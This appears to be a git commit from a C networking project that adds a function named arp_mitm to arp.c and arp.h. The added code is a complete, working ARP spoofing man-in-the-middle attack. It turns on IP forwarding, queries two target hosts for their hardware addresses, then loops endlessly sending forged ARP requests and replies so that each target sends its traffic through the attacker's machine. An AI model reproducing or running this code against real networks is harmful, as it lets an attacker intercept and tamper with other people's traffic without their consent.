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arp_mitm function

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This commit is contained in:
Dimitri Lozeve 2016-06-04 09:54:56 +02:00
parent 0c33590349
commit 0d66824635
2 changed files with 80 additions and 0 deletions
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65
arp.c
View file

@ -282,3 +282,68 @@ int arp_scan(int sockfd, int ifindex, struct sockaddr_in *ipaddr, unsigned char
/* ARP man-in-the-middle attack.
sockfd: socket file descriptor
ifindex: index of the interface
ipaddr: local IP address
macaddr: local hardware address
target1_ip: IP address of the first target
target2_ip: IP address of the second target
Never returns, has to be killed by the user.
*/
int arp_mitm(int sockfd, int ifindex, struct sockaddr_in *ipaddr, unsigned char *macaddr, struct in_addr *target1_ip, struct in_addr *target2_ip)
{
/* We build 2 pseudo-local IP addresses to impersonate both
targets */
struct sockaddr_in *ipaddr1 = malloc(sizeof(struct sockaddr_in));
struct sockaddr_in *ipaddr2 = malloc(sizeof(struct sockaddr_in));
ipaddr1->sin_family = AF_INET;
ipaddr1->sin_port = htons(5746);
ipaddr1->sin_addr = *target1_ip;
ipaddr2->sin_family = AF_INET;
ipaddr2->sin_port = htons(5746);
ipaddr2->sin_addr = *target2_ip;
/* ====================================================================== */
/* Ensures IP forwarding is enabled on Linux, in order to make he
attacker "transparent" to packets moving form target1 to
target2. This is not persistent on reboot. */
system("echo 1 > /proc/sys/net/ipv4/ip_forward");
/* We send normal requests to both targets in order to get their
hardware addresses. */
send_arp_request(sockfd, ifindex, ipaddr, macaddr, *target1_ip);
struct ether_arp reply1;
listen_arp_frame(sockfd, &reply1);
unsigned char *macaddr1 = reply1.arp_sha;
printf("Target 1 hardware address: %02x:%02x:%02x:%02x:%02x:%02x\n",
macaddr1[0],macaddr1[1],macaddr1[2],
macaddr1[3],macaddr1[4],macaddr1[5]);
send_arp_request(sockfd, ifindex, ipaddr, macaddr, *target2_ip);
struct ether_arp reply2;
listen_arp_frame(sockfd, &reply2);
unsigned char *macaddr2 = reply2.arp_sha;
printf("Target 2 hardware address: %02x:%02x:%02x:%02x:%02x:%02x\n",
macaddr2[0],macaddr2[1],macaddr2[2],
macaddr2[3],macaddr2[4],macaddr2[5]);
/* We send ARP requests and replies to both targets, impersonating
the other. We use both requests and replies because some devices
(linux > 2.4.x for example) don't update their ARP cache on
unsolicited replies, but do on queries. */
while(1) {
send_arp_request(sockfd, ifindex, ipaddr1, macaddr, *target2_ip);
send_arp_reply(sockfd, ifindex, ipaddr1, macaddr, *target2_ip, macaddr2);
sleep(1);
send_arp_request(sockfd, ifindex, ipaddr2, macaddr, *target1_ip);
send_arp_reply(sockfd, ifindex, ipaddr2, macaddr, *target1_ip, macaddr1);
sleep(1);
}
return 0;
}

15
arp.h
View file

@ -75,4 +75,19 @@ int listen_arp_frame(int sockfd, struct ether_arp *result);
int arp_scan(int sockfd, int ifindex, struct sockaddr_in *ipaddr, unsigned char *macaddr, struct sockaddr_in *netmask);
/* ARP man-in-the-middle attack.
sockfd: socket file descriptor
ifindex: index of the interface
ipaddr: local IP address
macaddr: local hardware address
target1_ip: IP address of the first target
target2_ip: IP address of the second target
Never returns, has to be killed by the user.
*/
int arp_mitm(int sockfd, int ifindex, struct sockaddr_in *ipaddr, unsigned char *macaddr, struct in_addr *target1_ip, struct in_addr *target2_ip);
#endif /* ARP_H_ */